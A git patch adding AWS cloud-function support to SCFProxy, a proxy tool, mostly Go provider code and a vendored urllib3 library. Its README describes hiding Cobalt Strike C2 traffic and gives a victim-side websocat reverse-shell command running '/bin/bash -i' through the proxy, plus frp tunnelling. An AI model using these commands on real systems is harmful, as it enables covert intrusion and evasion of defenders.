From b41c7cb4882a32de16bb25411a7c364a24dc036f Mon Sep 17 00:00:00 2001 From: shimmeris Date: Mon, 9 Jan 2023 12:09:50 +0800 Subject: [PATCH] Add http proxy and socks proxy of aws --- .gitignore | 1 + README.md | 52 +- cmd/clear.go | 4 +- cmd/config/credential.go | 9 + cmd/config/socks.go | 5 +- cmd/deploy.go | 10 +- cmd/provider.go | 14 +- function/code.go | 62 +- function/http/aws.py | 26 + function/http/package/urllib3/__init__.py | 102 ++ function/http/package/urllib3/_collections.py | 337 +++++ function/http/package/urllib3/_version.py | 2 + function/http/package/urllib3/connection.py | 567 +++++++++ .../http/package/urllib3/connectionpool.py | 1110 +++++++++++++++++ .../http/package/urllib3/contrib/__init__.py | 0 .../urllib3/contrib/_appengine_environ.py | 36 + .../contrib/_securetransport/__init__.py | 0 .../contrib/_securetransport/bindings.py | 519 ++++++++ .../contrib/_securetransport/low_level.py | 397 ++++++ .../http/package/urllib3/contrib/appengine.py | 314 +++++ .../http/package/urllib3/contrib/ntlmpool.py | 130 ++ .../http/package/urllib3/contrib/pyopenssl.py | 518 ++++++++ .../urllib3/contrib/securetransport.py | 921 ++++++++++++++ .../http/package/urllib3/contrib/socks.py | 216 ++++ function/http/package/urllib3/exceptions.py | 323 +++++ function/http/package/urllib3/fields.py | 274 ++++ function/http/package/urllib3/filepost.py | 98 ++ .../http/package/urllib3/packages/__init__.py | 0 .../urllib3/packages/backports/__init__.py | 0 .../urllib3/packages/backports/makefile.py | 51 + function/http/package/urllib3/packages/six.py | 1076 ++++++++++++++++ function/http/package/urllib3/poolmanager.py | 537 ++++++++ function/http/package/urllib3/request.py | 170 +++ function/http/package/urllib3/response.py | 885 +++++++++++++ .../http/package/urllib3/util/__init__.py | 49 + .../http/package/urllib3/util/connection.py | 149 +++ function/http/package/urllib3/util/proxy.py | 57 + function/http/package/urllib3/util/queue.py | 22 + function/http/package/urllib3/util/request.py | 146 +++ .../http/package/urllib3/util/response.py | 107 ++ function/http/package/urllib3/util/retry.py | 620 +++++++++ function/http/package/urllib3/util/ssl_.py | 495 ++++++++ .../urllib3/util/ssl_match_hostname.py | 159 +++ .../http/package/urllib3/util/ssltransport.py | 221 ++++ function/http/package/urllib3/util/timeout.py | 268 ++++ function/http/package/urllib3/util/url.py | 435 +++++++ function/http/package/urllib3/util/wait.py | 152 +++ function/socks/aws | Bin 0 -> 9204337 bytes function/socks/pkg/aws/main.go | 11 + function/socks/pkg/go.mod | 1 + function/socks/pkg/go.sum | 6 + go.mod | 10 + go.sum | 30 + sdk/provider/aws/http.go | 115 ++ sdk/provider/aws/provider.go | 74 ++ sdk/provider/aws/reverse.go | 147 +++ sdk/provider/aws/socks.go | 46 + 57 files changed, 12048 insertions(+), 38 deletions(-) create mode 100644 function/http/aws.py create mode 100644 function/http/package/urllib3/__init__.py create mode 100644 function/http/package/urllib3/_collections.py create mode 100644 function/http/package/urllib3/_version.py create mode 100644 function/http/package/urllib3/connection.py create mode 100644 function/http/package/urllib3/connectionpool.py create mode 100644 function/http/package/urllib3/contrib/__init__.py create mode 100644 function/http/package/urllib3/contrib/_appengine_environ.py create mode 100644 function/http/package/urllib3/contrib/_securetransport/__init__.py create mode 100644 function/http/package/urllib3/contrib/_securetransport/bindings.py create mode 100644 function/http/package/urllib3/contrib/_securetransport/low_level.py create mode 100644 function/http/package/urllib3/contrib/appengine.py create mode 100644 function/http/package/urllib3/contrib/ntlmpool.py create mode 100644 function/http/package/urllib3/contrib/pyopenssl.py create mode 100644 function/http/package/urllib3/contrib/securetransport.py create mode 100644 function/http/package/urllib3/contrib/socks.py create mode 100644 function/http/package/urllib3/exceptions.py create mode 100644 function/http/package/urllib3/fields.py create mode 100644 function/http/package/urllib3/filepost.py create mode 100644 function/http/package/urllib3/packages/__init__.py create mode 100644 function/http/package/urllib3/packages/backports/__init__.py create mode 100644 function/http/package/urllib3/packages/backports/makefile.py create mode 100644 function/http/package/urllib3/packages/six.py create mode 100644 function/http/package/urllib3/poolmanager.py create mode 100644 function/http/package/urllib3/request.py create mode 100644 function/http/package/urllib3/response.py create mode 100644 function/http/package/urllib3/util/__init__.py create mode 100644 function/http/package/urllib3/util/connection.py create mode 100644 function/http/package/urllib3/util/proxy.py create mode 100644 function/http/package/urllib3/util/queue.py create mode 100644 function/http/package/urllib3/util/request.py create mode 100644 function/http/package/urllib3/util/response.py create mode 100644 function/http/package/urllib3/util/retry.py create mode 100644 function/http/package/urllib3/util/ssl_.py create mode 100644 function/http/package/urllib3/util/ssl_match_hostname.py create mode 100644 function/http/package/urllib3/util/ssltransport.py create mode 100644 function/http/package/urllib3/util/timeout.py create mode 100644 function/http/package/urllib3/util/url.py create mode 100644 function/http/package/urllib3/util/wait.py create mode 100755 function/socks/aws create mode 100644 function/socks/pkg/aws/main.go create mode 100644 sdk/provider/aws/http.go create mode 100644 sdk/provider/aws/provider.go create mode 100644 sdk/provider/aws/reverse.go create mode 100644 sdk/provider/aws/socks.go diff --git a/.gitignore b/.gitignore index 79cd184..d15789e 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ .DS_Store .idea/ dist/ +__pycache__/ diff --git a/README.md b/README.md index 8d0fac4..c3a3a94 100644 --- a/README.md +++ b/README.md @@ -1,17 +1,22 @@ # SCFProxy -SCFProxy 是一个基于云服务商提供的云函数及 API 网关功能实现多种代理的工具。 +SCFProxy 是一个基于云服务商提供的云函数及 API 网关功能实现多种代理的工具。 # 安装 -前往 [Release](https://github.com/shimmeris/SCFProxy/releases/) 页面下载对应系统压缩包即可。如仍需使用 Python 旧版，请切换至 [Python](https://github.com/shimmeris/SCFProxy/tree/Python) 分支 + +前往 [Release](https://github.com/shimmeris/SCFProxy/releases/) 页面下载对应系统压缩包即可。如仍需使用 Python +旧版，请切换至 [Python](https://github.com/shimmeris/SCFProxy/tree/Python) 分支 # 使用指南 + ## 配置凭证 + 首次运行 `scfproxy` 会在 `~/.config/scfproxy` 目录生成 `sdk.toml` 配置文件，用于配置云厂商的 AccessKey/SecretKey。 -之后运行 `deploy/clear` 命令都将默认读取此文件，也可通过 `-c config` 参数指定。 +之后运行 `deploy/clear` 命令都将默认读取此文件，也可通过 `-c config` 参数指定。 + +## List -## List `scfproxy list` 接受 `provider`, `region`, `http`, `socks`, `reverse` 五种参数。 `provider` 参数列出目前支持的云厂商，可通过 `-m module` 参数指定模块列出支持特定代理的厂商。 @@ -21,7 +26,9 @@ SCFProxy 是一个基于云服务商提供的云函数及 API 网关功能实现 `http`, `socks`, `reverse` 参数用于列出目前已经部署的代理 ## HTTP 代理 + ### 部署 + ```console scfproxy deploy http -p provider_list -r region_list [-c providerConfigPath] ``` @@ -40,21 +47,27 @@ scfproxy deploy http -p provider_list -r region_list [-c providerConfigPath] 对于提供多个 `provider` 的情况下，将对每个 `provider` 进行上述 `region` 形式的解析与查找，不存在的 `region` 将被忽略 例子： + ```console scfproxy deploy http -p alibaba,tencent -r ap-1,eu-*,cn-shanghai ``` 通过 `scfproxy list -p alibaba,tencent` 可以查看到所有的 region，上面这条命令的执行结果为 + 1. 在 `alibaba` 上部署 `ap-northeast-1`, `eu-central-1`, ` eu-west-1`, `cn-shanghai` 区域的 http 代理 2. 在 `tencent` 上部署 `ap-beijing` 区域的 http 代理 ### 运行 + ```console scfproxy http -l port [-c cert_path] [-k key_path] ``` -首次运行会在 `~/.confg/scfproxy/cert` 目录生成 `scfproxy.cer` 及 `scfproxy.key` 证书，需要将其导入系统证书并信任才可以代理 https 请求。 + +首次运行会在 `~/.confg/scfproxy/cert` 目录生成 `scfproxy.cer` 及 `scfproxy.key` 证书，需要将其导入系统证书并信任才可以代理 +https 请求。 ### 清理 + ```console scfproxy clear http -p provider_list -r region_list [--completely] ``` @@ -62,17 +75,21 @@ scfproxy clear http -p provider_list -r region_list [--completely] 清理功能默认只会删除触发器，如需同时删除函数，需添加 `-e/--completely` 参数 ## SOCKS5 代理 + ### 部署 & 清理 + 与 HTTP 代理相同，只需替换 `http` 参数为 `socks` + ```console scfproxy deploy socks -p provider_list -r region_list ``` - ### 运行 + ```console scfproxy socks -l socks_port -s scf_port -h address [--auth user:pass] [-c providerConfigPath] ``` + `-l socks_port` 监听 socks_port，等待用户的 socks5 连接 `-s scf_port` 监听 scf_port，等待来自云函数的连接，需要部署命令中 `address` 参数的端口一致 @@ -81,11 +98,13 @@ scfproxy socks -l socks_port -s scf_port -h address [--auth user:pass] [-c provi `--auth [user:pass]` 用于指定 socks 认证信息，默认无认证 -socks 命令需要读取 ak/sk 用于触发函数，且通过读取 deploy 后生成的 `~/.config/scfproxy/socks.json` 文件确定需要调用函数的厂商及地区，因此需要将上述两个文件复制到 vps 对应位置运行。 +socks 命令需要读取 ak/sk 用于触发函数，且通过读取 deploy 后生成的 `~/.config/scfproxy/socks.json` +文件确定需要调用函数的厂商及地区，因此需要将上述两个文件复制到 vps 对应位置运行。 目前 socks 代理部署的函数超时时间为 15m，因此如果将 socks 代理用于一个长连接如 mysql 连接，需自行安排好时间，避免时间一到导致连接意外断开。 ### 使用效果 + **长连接** 借助 proxifier 通过 scfproxy 的 socks5 代理进行 mysql 连接，可以看到连接中的 ip 地址来自于阿里云的机器 @@ -95,9 +114,10 @@ socks 命令需要读取 ak/sk 用于触发函数，且通过读取 deploy 后 与 http 类似，每次短连接将获得一个新的 ip ![short](img/short.jpg) - ## 反向代理 + ### 部署 + ```console scfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list] ``` @@ -107,9 +127,11 @@ scfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list] `--ip ip_list` 用于限制访问来源，只有 `ip_list` 中的 ip 才能访问部署返回的反向代理网关地址。 ### 使用场景 + 基于反向代理可有如下使用方法， #### C2 隐藏 + 以 cobaltstrike 为例，只需将 api 的域名填入 listener 的 host ```console @@ -118,8 +140,8 @@ scfproxy deploy reverse ... -o http://vps --ip victim ![cs.png](img/cs.png) - #### 反弹 shell 地址隐藏 + 借助 [websocat](https://github.com/vi/websocat) 工具可实现反弹 shell 的功能。 ```console @@ -127,11 +149,13 @@ scfproxy deploy reverse ... -o ws://vps --ip victim ``` 受害者端执行： + ```console websocat ws://reverse_proxy_address sh-c:'/bin/bash -i 2>&1' --binary -v --compress-zlib ``` 攻击者 vps 执行： + ```console websocat ws-l:0.0.0.0:port - --binary -E --uncompress-zlib ``` @@ -140,6 +164,7 @@ websocat ws-l:0.0.0.0:port - --binary -E --uncompress-zlib ![reverse_shell.png](img/reverse_shell.png) #### 内网穿透地址隐藏 + 该使用场景需要支持 websocket 协议的内网穿透软件。 ```console @@ -147,6 +172,7 @@ scfproxy deploy reverse ... -o ws://vps --ip victim ``` 以 frp 代理 SOCKS 为例，客户端配置： + ```ini [common] server_addr = reverse_proxy_domain @@ -161,26 +187,32 @@ plugin = socks5 use_encryption = true use_compression = true ``` + 效果如图 ![frp](img/frp.png) ### 清理 + ```console scfproxy clear http -p provider_list -r region_list -o origin ``` + 与 HTTP 及 SOCKS 代理不同，反向代理没有 `--completely` 参数，但需要指定 `origin` 参数用于定位需要删除的服务 # 支持厂商 + * **阿里云**：不支持反向代理 * **腾讯云**：部署大陆外地区速度极慢，目前仅支持大陆地区 - +* **AWS**：暂不支持反向代理 # 交流群 + 该项目仍处于测试阶段，可能存在一些 bug，欢迎提交 issue 或者进入微信群交流。 ![wechat.png](img/wechat.png) # TODO + - [x] 优化 socks 功能 - [ ] 优化代码 - [ ] 美化输出 diff --git a/cmd/clear.go b/cmd/clear.go index 21295bd..3ab8531 100644 --- a/cmd/clear.go +++ b/cmd/clear.go @@ -79,7 +79,7 @@ func clearHttp(providers []sdk.Provider, completely bool) error { } opts := &sdk.FunctionOpts{ - Namespace: Namespace, + Namespace: Namespace, FunctionName: HTTPFunctionName, TriggerName: HTTPTriggerName, OnlyTrigger: !completely, @@ -121,7 +121,7 @@ func clearSocks(providers []sdk.Provider) error { provider, region := sp.Name(), sp.Region() opts := &sdk.FunctionOpts{ - Namespace: Namespace, + Namespace: Namespace, FunctionName: SocksFunctionName, } err := sp.ClearSocksProxy(opts) diff --git a/cmd/config/credential.go b/cmd/config/credential.go index 6ed723b..d85f965 100644 --- a/cmd/config/credential.go +++ b/cmd/config/credential.go @@ -11,6 +11,11 @@ AccessKeyId = "" AccessKeySecret = "" AccountId = "" +[aws] +AccessKeyId = "" +AccessKeySecret = "" +RoleArn = "" + [tencent] # Named SecretId in tencent AccessKeyId = "" @@ -26,6 +31,7 @@ type Credential struct { AccessKeyId string AccessKeySecret string AccountId string + RoleArn string } func (c Credential) isSet() bool { @@ -35,6 +41,7 @@ func (c Credential) isSet() bool { type ProviderConfig struct { Alibaba *Credential Tencent *Credential + Aws *Credential } func LoadProviderConfig(path string) (*ProviderConfig, error) { @@ -56,6 +63,8 @@ func (c *ProviderConfig) ProviderCredentialByName(provider string) *Credential { return c.Alibaba case "tencent": return c.Tencent + case "aws": + return c.Aws default: return nil } diff --git a/cmd/config/socks.go b/cmd/config/socks.go index 08cdf80..911e5bc 100644 --- a/cmd/config/socks.go +++ b/cmd/config/socks.go @@ -7,7 +7,6 @@ import ( "sync" ) - type SocksConfig struct { mu sync.RWMutex Records map[string]map[string]string @@ -27,7 +26,7 @@ func LoadSocksConfig() (*SocksConfig, error) { return conf, err } -func (c *SocksConfig) Has(provider, region string) (bool) { +func (c *SocksConfig) Has(provider, region string) bool { c.mu.RLock() defer c.mu.RUnlock() _, ok := c.Records[provider][region] @@ -58,7 +57,7 @@ func (c *SocksConfig) Save() error { func (c *SocksConfig) ToDoubleArray() [][]string { data := [][]string{} for provider, rmap := range c.Records { - for region, _ := range rmap { + for region := range rmap { data = append(data, []string{provider, region}) } } diff --git a/cmd/deploy.go b/cmd/deploy.go index 258a66a..91c97e4 100644 --- a/cmd/deploy.go +++ b/cmd/deploy.go @@ -51,9 +51,6 @@ func init() { deployCmd.Flags().StringSliceP("region", "r", nil, "specify which regions of cloud providers deploy proxy") deployCmd.Flags().StringP("config", "c", config.ProviderConfigPath, "path of provider credential file") - // deploy socks needed - - // deploy reverse needed deployCmd.Flags().StringP("origin", "o", "", "[reverse] Address of the reverse proxy back to the source") deployCmd.Flags().StringSlice("ip", nil, "[reverse] Restrict ips which can access the reverse proxy address") @@ -85,7 +82,7 @@ func createProviders(cmd *cobra.Command) ([]sdk.Provider, error) { regions := parseRegionPatterns(p, regionPatterns) if len(regions) == 0 { - logrus.Error("No region avalible, pleast use list cmd to ") + logrus.Errorf("No region avalible, pleast use `list region -p %s` cmd to check available regions", p) continue } @@ -200,7 +197,7 @@ func deployHttp(providers []sdk.Provider) error { } opts := &sdk.FunctionOpts{ - Namespace: Namespace, + Namespace: Namespace, FunctionName: HTTPFunctionName, TriggerName: HTTPTriggerName, OnlyTrigger: onlyTrigger, @@ -245,7 +242,7 @@ func deploySocks(providers []sdk.Provider) error { } opts := &sdk.FunctionOpts{ - Namespace: Namespace, + Namespace: Namespace, FunctionName: SocksFunctionName, } if err := sp.DeploySocksProxy(opts); err != nil { @@ -314,4 +311,3 @@ func deployReverse(providers []sdk.Provider, origin string, ips []string) error wg.Wait() return conf.Save() } - diff --git a/cmd/provider.go b/cmd/provider.go index 27bf2fa..3eb26f0 100644 --- a/cmd/provider.go +++ b/cmd/provider.go @@ -1,9 +1,12 @@ package cmd import ( + "fmt" + "github.com/shimmeris/SCFProxy/cmd/config" "github.com/shimmeris/SCFProxy/sdk" "github.com/shimmeris/SCFProxy/sdk/provider/alibaba" + "github.com/shimmeris/SCFProxy/sdk/provider/aws" "github.com/shimmeris/SCFProxy/sdk/provider/tencent" ) @@ -17,8 +20,8 @@ const ( ) var ( - allProviders = []string{"alibaba", "tencent"} - httpProviders = []string{"alibaba", "tencent"} + allProviders = []string{"alibaba", "tencent", "aws"} + httpProviders = []string{"alibaba", "tencent", "aws"} socksProviders = []string{"alibaba", "tencent"} reverseProviders = []string{"tencent"} ) @@ -42,6 +45,8 @@ func listRegions(provider string) []string { return alibaba.Regions() case "tencent": return tencent.Regions() + case "aws": + return aws.Regions() default: return nil } @@ -59,7 +64,10 @@ func createProvider(name, region string, config *config.ProviderConfig) (sdk.Pro // return huawei.New(ak, sk, region), nil case "tencent": return tencent.New(ak, sk, region) + case "aws": + roleArn := c.RoleArn + return aws.New(ak, sk, region, roleArn) default: - return nil, nil + return nil, fmt.Errorf("%s is not a valid provider", name) } } diff --git a/function/code.go b/function/code.go index 7b94976..3f6212e 100644 --- a/function/code.go +++ b/function/code.go @@ -3,49 +3,81 @@ package function import ( "archive/zip" "bytes" - _ "embed" + "embed" "encoding/base64" - + "io/fs" + "strings" "github.com/sirupsen/logrus" ) type File struct { - Name string - Content []byte + Name string + Content []byte HighPriv bool } // compile socks code with `GOOS=linux GOARCH=amd64 go build main.go` var ( //go:embed http/tencent.py - tencentHttpCode []byte + tencentHttpCode []byte TencentHttpCodeZip = CreateZipBase64([]File{{Name: "index.py", Content: tencentHttpCode}}) //go:embed http/alibaba.py - alibabaHttpCode []byte + alibabaHttpCode []byte AlibabaHttpCodeZip = CreateZipBase64([]File{{Name: "index.py", Content: alibabaHttpCode}}) //go:embed http/huawei.py - huaweiHttpCode []byte - HuaweiHttpCodeZip =CreateZipBase64([]File{{Name: "index.py", Content: huaweiHttpCode}}) + huaweiHttpCode []byte + HuaweiHttpCodeZip = CreateZipBase64([]File{{Name: "index.py", Content: huaweiHttpCode}}) + + //go:embed http/aws.py + awsHttpCode []byte + AwsHttpCodeZip = awsHttpCodeZip() //go:embed socks/tencent - tencentSocksCode []byte + tencentSocksCode []byte TencentSocksCodeZip = CreateZipBase64([]File{{Name: "main", Content: tencentSocksCode, HighPriv: true}}) //go:embed socks/alibaba - alibabaSocksCode []byte + alibabaSocksCode []byte AlibabaSocksCodeZip = CreateZipBase64([]File{{Name: "main", Content: alibabaSocksCode, HighPriv: true}}) + //go:embed socks/aws + awsSocksCode []byte + AwsSocksCodeZip = CreateZip([]File{{Name: "main", Content: awsSocksCode, HighPriv: true}}) + + //go:embed http/package + urllib3 embed.FS ) -func CreateZipBase64(files []File) string { +func awsHttpCodeZip() []byte { + // aws Python runtime does not have urllib3 dependency, need to be uploaded along with the code + files := []File{} + fs.WalkDir(urllib3, ".", func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + + if d.IsDir() { + return nil + } + + content, err := fs.ReadFile(urllib3, path) + files = append(files, File{Name: strings.SplitN(path, "/", 3)[2], Content: content}) + return nil + }) + + files = append(files, File{Name: "index.py", Content: awsHttpCode}) + return CreateZip(files) +} + +func CreateZip(files []File) []byte { buf := new(bytes.Buffer) zw := zip.NewWriter(buf) - for _, f := range files{ + for _, f := range files { if f.HighPriv { fw, err := zw.CreateHeader(&zip.FileHeader{ CreatorVersion: 3 << 8, // indicates Unix @@ -74,6 +106,10 @@ func CreateZipBase64(files []File) string { } zw.Close() - return base64.StdEncoding.EncodeToString(buf.Bytes()) + return buf.Bytes() +} +func CreateZipBase64(files []File) string { + b := CreateZip(files) + return base64.StdEncoding.EncodeToString(b) } diff --git a/function/http/aws.py b/function/http/aws.py new file mode 100644 index 0000000..576b58c --- /dev/null +++ b/function/http/aws.py @@ -0,0 +1,26 @@ +# -*- coding: utf8 -*- +import json +from base64 import b64decode, b64encode + +import urllib3 +urllib3.disable_warnings() + + +def handler(event: dict, context: dict): + data = b64decode(event["body"]).decode() + kwargs = json.loads(data) + kwargs['body'] = b64decode(kwargs['body']) + + http = urllib3.PoolManager(cert_reqs="CERT_NONE") + + r = http.request(**kwargs, retries=False, decode_content=False) + + headers = {k.lower(): v.lower() for k, v in r.headers.items()} + + response = { + "headers": headers, + "status_code": r.status, + "content": b64encode(r._body).decode('utf-8') + } + + return response \ No newline at end of file diff --git a/function/http/package/urllib3/__init__.py b/function/http/package/urllib3/__init__.py new file mode 100644 index 0000000..c6fa382 --- /dev/null +++ b/function/http/package/urllib3/__init__.py @@ -0,0 +1,102 @@ +""" +Python HTTP library with thread-safe connection pooling, file post support, user friendly, and more +""" +from __future__ import absolute_import + +# Set default logging handler to avoid "No handler found" warnings. +import logging +import warnings +from logging import NullHandler + +from . import exceptions +from ._version import __version__ +from .connectionpool import HTTPConnectionPool, HTTPSConnectionPool, connection_from_url +from .filepost import encode_multipart_formdata +from .poolmanager import PoolManager, ProxyManager, proxy_from_url +from .response import HTTPResponse +from .util.request import make_headers +from .util.retry import Retry +from .util.timeout import Timeout +from .util.url import get_host + +# === NOTE TO REPACKAGERS AND VENDORS === +# Please delete this block, this logic is only +# for urllib3 being distributed via PyPI. +# See: https://github.com/urllib3/urllib3/issues/2680 +try: + import urllib3_secure_extra # type: ignore # noqa: F401 +except ImportError: + pass +else: + warnings.warn( + "'urllib3[secure]' extra is deprecated and will be removed " + "in a future release of urllib3 2.x. Read more in this issue: " + "https://github.com/urllib3/urllib3/issues/2680", + category=DeprecationWarning, + stacklevel=2, + ) + +__author__ = "Andrey Petrov (andrey.petrov@shazow.net)" +__license__ = "MIT" +__version__ = __version__ + +__all__ = ( + "HTTPConnectionPool", + "HTTPSConnectionPool", + "PoolManager", + "ProxyManager", + "HTTPResponse", + "Retry", + "Timeout", + "add_stderr_logger", + "connection_from_url", + "disable_warnings", + "encode_multipart_formdata", + "get_host", + "make_headers", + "proxy_from_url", +) + +logging.getLogger(__name__).addHandler(NullHandler()) + + +def add_stderr_logger(level=logging.DEBUG): + """ + Helper for quickly adding a StreamHandler to the logger. Useful for + debugging. + + Returns the handler after adding it. + """ + # This method needs to be in this __init__.py to get the __name__ correct + # even if urllib3 is vendored within another package. + logger = logging.getLogger(__name__) + handler = logging.StreamHandler() + handler.setFormatter(logging.Formatter("%(asctime)s %(levelname)s %(message)s")) + logger.addHandler(handler) + logger.setLevel(level) + logger.debug("Added a stderr logging handler to logger: %s", __name__) + return handler + + +# ... Clean up. +del NullHandler + + +# All warning filters *must* be appended unless you're really certain that they +# shouldn't be: otherwise, it's very hard for users to use most Python +# mechanisms to silence them. +# SecurityWarning's always go off by default. +warnings.simplefilter("always", exceptions.SecurityWarning, append=True) +# SubjectAltNameWarning's should go off once per host +warnings.simplefilter("default", exceptions.SubjectAltNameWarning, append=True) +# InsecurePlatformWarning's don't vary between requests, so we keep it default. +warnings.simplefilter("default", exceptions.InsecurePlatformWarning, append=True) +# SNIMissingWarnings should go off only once. +warnings.simplefilter("default", exceptions.SNIMissingWarning, append=True) + + +def disable_warnings(category=exceptions.HTTPWarning): + """ + Helper for quickly disabling all urllib3 warnings. + """ + warnings.simplefilter("ignore", category) diff --git a/function/http/package/urllib3/_collections.py b/function/http/package/urllib3/_collections.py new file mode 100644 index 0000000..da9857e --- /dev/null +++ b/function/http/package/urllib3/_collections.py @@ -0,0 +1,337 @@ +from __future__ import absolute_import + +try: + from collections.abc import Mapping, MutableMapping +except ImportError: + from collections import Mapping, MutableMapping +try: + from threading import RLock +except ImportError: # Platform-specific: No threads available + + class RLock: + def __enter__(self): + pass + + def __exit__(self, exc_type, exc_value, traceback): + pass + + +from collections import OrderedDict + +from .exceptions import InvalidHeader +from .packages import six +from .packages.six import iterkeys, itervalues + +__all__ = ["RecentlyUsedContainer", "HTTPHeaderDict"] + + +_Null = object() + + +class RecentlyUsedContainer(MutableMapping): + """ + Provides a thread-safe dict-like container which maintains up to + ``maxsize`` keys while throwing away the least-recently-used keys beyond + ``maxsize``. + + :param maxsize: + Maximum number of recent elements to retain. + + :param dispose_func: + Every time an item is evicted from the container, + ``dispose_func(value)`` is called. Callback which will get called + """ + + ContainerCls = OrderedDict + + def __init__(self, maxsize=10, dispose_func=None): + self._maxsize = maxsize + self.dispose_func = dispose_func + + self._container = self.ContainerCls() + self.lock = RLock() + + def __getitem__(self, key): + # Re-insert the item, moving it to the end of the eviction line. + with self.lock: + item = self._container.pop(key) + self._container[key] = item + return item + + def __setitem__(self, key, value): + evicted_value = _Null + with self.lock: + # Possibly evict the existing value of 'key' + evicted_value = self._container.get(key, _Null) + self._container[key] = value + + # If we didn't evict an existing value, we might have to evict the + # least recently used item from the beginning of the container. + if len(self._container) > self._maxsize: + _key, evicted_value = self._container.popitem(last=False) + + if self.dispose_func and evicted_value is not _Null: + self.dispose_func(evicted_value) + + def __delitem__(self, key): + with self.lock: + value = self._container.pop(key) + + if self.dispose_func: + self.dispose_func(value) + + def __len__(self): + with self.lock: + return len(self._container) + + def __iter__(self): + raise NotImplementedError( + "Iteration over this class is unlikely to be threadsafe." + ) + + def clear(self): + with self.lock: + # Copy pointers to all values, then wipe the mapping + values = list(itervalues(self._container)) + self._container.clear() + + if self.dispose_func: + for value in values: + self.dispose_func(value) + + def keys(self): + with self.lock: + return list(iterkeys(self._container)) + + +class HTTPHeaderDict(MutableMapping): + """ + :param headers: + An iterable of field-value pairs. Must not contain multiple field names + when compared case-insensitively. + + :param kwargs: + Additional field-value pairs to pass in to ``dict.update``. + + A ``dict`` like container for storing HTTP Headers. + + Field names are stored and compared case-insensitively in compliance with + RFC 7230. Iteration provides the first case-sensitive key seen for each + case-insensitive pair. + + Using ``__setitem__`` syntax overwrites fields that compare equal + case-insensitively in order to maintain ``dict``'s api. For fields that + compare equal, instead create a new ``HTTPHeaderDict`` and use ``.add`` + in a loop. + + If multiple fields that are equal case-insensitively are passed to the + constructor or ``.update``, the behavior is undefined and some will be + lost. + + >>> headers = HTTPHeaderDict() + >>> headers.add('Set-Cookie', 'foo=bar') + >>> headers.add('set-cookie', 'baz=quxx') + >>> headers['content-length'] = '7' + >>> headers['SET-cookie'] + 'foo=bar, baz=quxx' + >>> headers['Content-Length'] + '7' + """ + + def __init__(self, headers=None, **kwargs): + super(HTTPHeaderDict, self).__init__() + self._container = OrderedDict() + if headers is not None: + if isinstance(headers, HTTPHeaderDict): + self._copy_from(headers) + else: + self.extend(headers) + if kwargs: + self.extend(kwargs) + + def __setitem__(self, key, val): + self._container[key.lower()] = [key, val] + return self._container[key.lower()] + + def __getitem__(self, key): + val = self._container[key.lower()] + return ", ".join(val[1:]) + + def __delitem__(self, key): + del self._container[key.lower()] + + def __contains__(self, key): + return key.lower() in self._container + + def __eq__(self, other): + if not isinstance(other, Mapping) and not hasattr(other, "keys"): + return False + if not isinstance(other, type(self)): + other = type(self)(other) + return dict((k.lower(), v) for k, v in self.itermerged()) == dict( + (k.lower(), v) for k, v in other.itermerged() + ) + + def __ne__(self, other): + return not self.__eq__(other) + + if six.PY2: # Python 2 + iterkeys = MutableMapping.iterkeys + itervalues = MutableMapping.itervalues + + __marker = object() + + def __len__(self): + return len(self._container) + + def __iter__(self): + # Only provide the originally cased names + for vals in self._container.values(): + yield vals[0] + + def pop(self, key, default=__marker): + """D.pop(k[,d]) -> v, remove specified key and return the corresponding value. + If key is not found, d is returned if given, otherwise KeyError is raised. + """ + # Using the MutableMapping function directly fails due to the private marker. + # Using ordinary dict.pop would expose the internal structures. + # So let's reinvent the wheel. + try: + value = self[key] + except KeyError: + if default is self.__marker: + raise + return default + else: + del self[key] + return value + + def discard(self, key): + try: + del self[key] + except KeyError: + pass + + def add(self, key, val): + """Adds a (name, value) pair, doesn't overwrite the value if it already + exists. + + >>> headers = HTTPHeaderDict(foo='bar') + >>> headers.add('Foo', 'baz') + >>> headers['foo'] + 'bar, baz' + """ + key_lower = key.lower() + new_vals = [key, val] + # Keep the common case aka no item present as fast as possible + vals = self._container.setdefault(key_lower, new_vals) + if new_vals is not vals: + vals.append(val) + + def extend(self, *args, **kwargs): + """Generic import function for any type of header-like object. + Adapted version of MutableMapping.update in order to insert items + with self.add instead of self.__setitem__ + """ + if len(args) > 1: + raise TypeError( + "extend() takes at most 1 positional " + "arguments ({0} given)".format(len(args)) + ) + other = args[0] if len(args) >= 1 else () + + if isinstance(other, HTTPHeaderDict): + for key, val in other.iteritems(): + self.add(key, val) + elif isinstance(other, Mapping): + for key in other: + self.add(key, other[key]) + elif hasattr(other, "keys"): + for key in other.keys(): + self.add(key, other[key]) + else: + for key, value in other: + self.add(key, value) + + for key, value in kwargs.items(): + self.add(key, value) + + def getlist(self, key, default=__marker): + """Returns a list of all the values for the named field. Returns an + empty list if the key doesn't exist.""" + try: + vals = self._container[key.lower()] + except KeyError: + if default is self.__marker: + return [] + return default + else: + return vals[1:] + + # Backwards compatibility for httplib + getheaders = getlist + getallmatchingheaders = getlist + iget = getlist + + # Backwards compatibility for http.cookiejar + get_all = getlist + + def __repr__(self): + return "%s(%s)" % (type(self).__name__, dict(self.itermerged())) + + def _copy_from(self, other): + for key in other: + val = other.getlist(key) + if isinstance(val, list): + # Don't need to convert tuples + val = list(val) + self._container[key.lower()] = [key] + val + + def copy(self): + clone = type(self)() + clone._copy_from(self) + return clone + + def iteritems(self): + """Iterate over all header lines, including duplicate ones.""" + for key in self: + vals = self._container[key.lower()] + for val in vals[1:]: + yield vals[0], val + + def itermerged(self): + """Iterate over all headers, merging duplicate ones together.""" + for key in self: + val = self._container[key.lower()] + yield val[0], ", ".join(val[1:]) + + def items(self): + return list(self.iteritems()) + + @classmethod + def from_httplib(cls, message): # Python 2 + """Read headers from a Python 2 httplib message object.""" + # python2.7 does not expose a proper API for exporting multiheaders + # efficiently. This function re-reads raw lines from the message + # object and extracts the multiheaders properly. + obs_fold_continued_leaders = (" ", "\t") + headers = [] + + for line in message.headers: + if line.startswith(obs_fold_continued_leaders): + if not headers: + # We received a header line that starts with OWS as described + # in RFC-7230 S3.2.4. This indicates a multiline header, but + # there exists no previous header to which we can attach it. + raise InvalidHeader( + "Header continuation with no previous header: %s" % line + ) + else: + key, value = headers[-1] + headers[-1] = (key, value + " " + line.strip()) + continue + + key, value = line.split(":", 1) + headers.append((key, value.strip())) + + return cls(headers) 